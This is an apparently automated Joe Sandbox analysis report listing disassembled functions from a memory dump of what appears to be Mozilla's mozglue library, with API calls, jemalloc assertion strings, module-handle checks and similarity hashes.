memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA37568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA37585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA37598
free.MOZGLUE(00000000), ref: 6CA375AC

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

Strings

SHA256, xrefs: 6CA36EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CA372C8
(, xrefs: 6CA3768A
wintrust.dll, xrefs: 6CA372CD

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 2c58cd9b9a0a633ad406248a2a3f089a9cffdaed92cd36a8a16cec62e4d07689
Instruction ID: 696b2e15739ea8e0d9009db5a94021f19421a679501f90f581b1a3717769ee1f
Opcode Fuzzy Hash: 2c58cd9b9a0a633ad406248a2a3f089a9cffdaed92cd36a8a16cec62e4d07689
Instruction Fuzzy Hash: 3052E471A00326DBEB299F64CD94BAA77B8FB49704F149199E40DD7640DB30AEC5CFA0

Function 6CA56FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA57019
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA57061
EnterCriticalSection.KERNEL32(?), ref: 6CA571A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA5721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5723E
EnterCriticalSection.KERNEL32(?), ref: 6CA5726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA572B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA5733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA573E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA5961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA59622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA59642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA5964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA596CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA596DB
AcquireSRWLockExclusive.KERNEL32(6CAAE804), ref: 6CA59747
GetSystemInfo.KERNEL32(?), ref: 6CA59792
__Init_thread_footer.LIBCMT ref: 6CA597A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CAAE810,00000040), ref: 6CA597CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAE7B8,00001388), ref: 6CA59838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAE744,00001388), ref: 6CA5984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAE784,00001388), ref: 6CA59874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAE7DC,00001388), ref: 6CA59895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CA59B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA599BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA59BF4
MOZ_CRASH(), xrefs: 6CA59B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA59933, 6CA59A33, 6CA59A4E
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA599D2
<jemalloc>, xrefs: 6CA59B33, 6CA59BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA59993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA599A8
MALLOC_OPTIONS, xrefs: 6CA597CA

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 4433ec576e2e0566bf553df1e2e832f500dac811b266679bcec458621ec0e6eb
Instruction ID: 64d166049fc77c67188b4bed41d75d5849cf631b8d02deaa2acb649dfe1de637
Opcode Fuzzy Hash: 4433ec576e2e0566bf553df1e2e832f500dac811b266679bcec458621ec0e6eb
Instruction Fuzzy Hash: 0E539EB1A157028FD704CF28C580615BBE1BF89328F69C66DE869DF791D731E892CB81

Function 6CA60DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA60F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA60F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA60FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA60FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA61031
LeaveCriticalSection.KERNEL32(?), ref: 6CA610D0
EnterCriticalSection.KERNEL32(?), ref: 6CA6117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA61C39
EnterCriticalSection.KERNEL32(6CAAE744), ref: 6CA63391
LeaveCriticalSection.KERNEL32(6CAAE744), ref: 6CA633CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA63431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA63437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CA63946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA637BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA63A02
MOZ_CRASH(), xrefs: 6CA63950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA63559, 6CA6382D, 6CA63848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA637D2
<jemalloc>, xrefs: 6CA63941, 6CA639F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA63793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA637A8
MALLOC_OPTIONS, xrefs: 6CA635FE

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 899a21f3cc7e94ed213202c88b05d7517989e2bfe7968bbd0851236a9071b052
Instruction ID: e819cfa793313d76c18461a989eb8c5b9286216fa3e624d9778d86d96b998087
Opcode Fuzzy Hash: 899a21f3cc7e94ed213202c88b05d7517989e2bfe7968bbd0851236a9071b052
Instruction Fuzzy Hash: 88538F71A057028FD304CF2AC544615FBE1BF85328F29C76DE9A99BB91D771E882CB81

Function 6CA855F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA5E1A5), ref: 6CA85606
LoadLibraryW.KERNEL32(gdi32,?,6CA5E1A5), ref: 6CA8560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA85633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA8563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA8566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA8567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA85696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA856B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA856CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA856E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA856FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA85716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA8572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA85748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA85761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA8577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA85793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA857A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA857BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA857D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA857EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA857FF

Strings

LoadCursorW, xrefs: 6CA85774
FillRect, xrefs: 6CA85729
MonitorFromWindow, xrefs: 6CA8578D
ReleaseDC, xrefs: 6CA85742
StretchDIBits, xrefs: 6CA857CC
GetMonitorInfoW, xrefs: 6CA857A2
LoadIconW, xrefs: 6CA8575B
CreateSolidBrush, xrefs: 6CA857E4
SetWindowPos, xrefs: 6CA856F7
ShowWindow, xrefs: 6CA856DE
RegisterClassW, xrefs: 6CA856AC
SetWindowLongPtrW, xrefs: 6CA857B7
GetWindowDC, xrefs: 6CA85710
user32, xrefs: 6CA85601
AreDpiAwarenessContextsEqual, xrefs: 6CA85637
CreateWindowExW, xrefs: 6CA856C5
gdi32, xrefs: 6CA8560A
GetThreadDpiAwarenessContext, xrefs: 6CA8562D
GetDpiForWindow, xrefs: 6CA85690
EnableNonClientDpiScaling, xrefs: 6CA85666
GetSystemMetricsForDpi, xrefs: 6CA85677
DeleteObject, xrefs: 6CA857F9

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: eafb3b9ebfe6e9e68e5c8f3363297251af8575305d7e52b5249497179c3a1341
Instruction ID: ebd233cee4435d5c3b8398e65addb08143cfaa9cdcc6d3083b2d2d5fea78df6a
Opcode Fuzzy Hash: eafb3b9ebfe6e9e68e5c8f3363297251af8575305d7e52b5249497179c3a1341
Instruction Fuzzy Hash: D6517970B12307AFEB185FB5AD5892E7AF87B06245714C52ABD52D2A41FB70C8429F70

Function 6CA834A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA835BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA835E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA836CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA838BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA839EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA83EE2

Part of subcall function 6CA86180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA861DD
Part of subcall function 6CA86180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA8622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA840F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84157

Part of subcall function 6CA86180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA86250
Part of subcall function 6CA86180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA86292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA84448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA8484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA84896
free.MOZGLUE ref: 6CA8489F

Strings

, xrefs: 6CA84CD2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: cdb3231efbbbb5a8ed9a88a38e3729609b79992a28299683e2b2b4ae6c46b943
Instruction ID: c58c7b395ad98e841ecdf87269e8932af2e71992d97879b0c86598072b0b3aa6
Opcode Fuzzy Hash: cdb3231efbbbb5a8ed9a88a38e3729609b79992a28299683e2b2b4ae6c46b943
Instruction Fuzzy Hash: 0CF26874909B81CFC325CF28C19469AFBF1FF8A308F158A5ED98997711DB319896CB42

Function 6CA364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA36505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA36518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA3652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA3671C
GetCurrentProcess.KERNEL32 ref: 6CA36724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA3672F
GetCurrentProcess.KERNEL32 ref: 6CA36759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA36764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA36A80
GetSystemInfo.KERNEL32(?), ref: 6CA36ABE
__Init_thread_footer.LIBCMT ref: 6CA36AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA36AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA36AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA36798
nvdxgiwrap.dll, xrefs: 6CA36513
nvd3d9wrap.dll, xrefs: 6CA36500
user32.dll, xrefs: 6CA36526
detoured.dll, xrefs: 6CA364DA
_etoured.dll, xrefs: 6CA364ED

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: a57c0f3ad2d38e80b2523eb16cf65ca6360c11688b3771f478b889586c260ee0
Instruction ID: 073798cbbde4755daf11820582eae2ad8a864b27f09faab5ea704f0c320e34f8
Opcode Fuzzy Hash: a57c0f3ad2d38e80b2523eb16cf65ca6360c11688b3771f478b889586c260ee0
Instruction Fuzzy Hash: F8F1E17090122A9FDB20CF64DD58B9AB7B4BF06308F189299E80DE7741D731AAC5CF90

Function 6CA560A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA560C9
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA5610D
EnterCriticalSection.KERNEL32(?), ref: 6CA5618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA561F9

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CA56AAE
MOZ_CRASH(), xrefs: 6CA56AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA56B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA56BC7, 6CA56F97, 6CA56FB2
<jemalloc>, xrefs: 6CA56AA9, 6CA56B59
MALLOC_OPTIONS, xrefs: 6CA56888

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 9ab17a064e4e327cfd1522b0a0334614d04043c84d160fd95f6c7d151d6ac000
Instruction ID: 922b306b74c0635be76ba3a8ba91821b618d542a136af2b0631773bc2f015c5c
Opcode Fuzzy Hash: 9ab17a064e4e327cfd1522b0a0334614d04043c84d160fd95f6c7d151d6ac000
Instruction Fuzzy Hash: 67A2AC71A057128FD708CF28C550619BBF1FB85328F69C66DE869CBB91C771E8A1CB81

Function 6CA8C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA8C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA8C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA8C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8E472

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: de0b3f80230422bf4efed64ec00beadcbf6999024770e62b955452aeb654f62a
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7E339E71E0121ACFCB04CFACC8806ADBBF2FF49314F29426AD955AB755D731A985CB90

Function 6CA3FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA3FF81
LeaveCriticalSection.KERNEL32(6CAAE7B8), ref: 6CA4022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA40240
EnterCriticalSection.KERNEL32(6CAAE768), ref: 6CA4025B
LeaveCriticalSection.KERNEL32(6CAAE768), ref: 6CA4027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA40D67, 6CA40D7B, 6CA40DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA3FE99, 6CA3FEB7, 6CA3FED3, 6CA40DB8, 6CA40DD3, 6CA419B4
<jemalloc>, xrefs: 6CA40D62, 6CA40D76, 6CA40DA7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 40fdda326cf95688da49e79f31309dc41664dd044a58f57c3299deabb55a22de
Instruction ID: 2f4b1d18506c06884dbb4cf55343999b3e4e7ead48e7fcc3b1a1410d4f0b8e6f
Opcode Fuzzy Hash: 40fdda326cf95688da49e79f31309dc41664dd044a58f57c3299deabb55a22de
Instruction Fuzzy Hash: 4AC2C071A057418FD714CF28C980716BBE1BF89328F28C66DE9A98B7D5D771E881CB81

Function 6CA8E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA8E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA8EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA8F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA8F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA90E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA90E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CA90EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CA90ED4

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
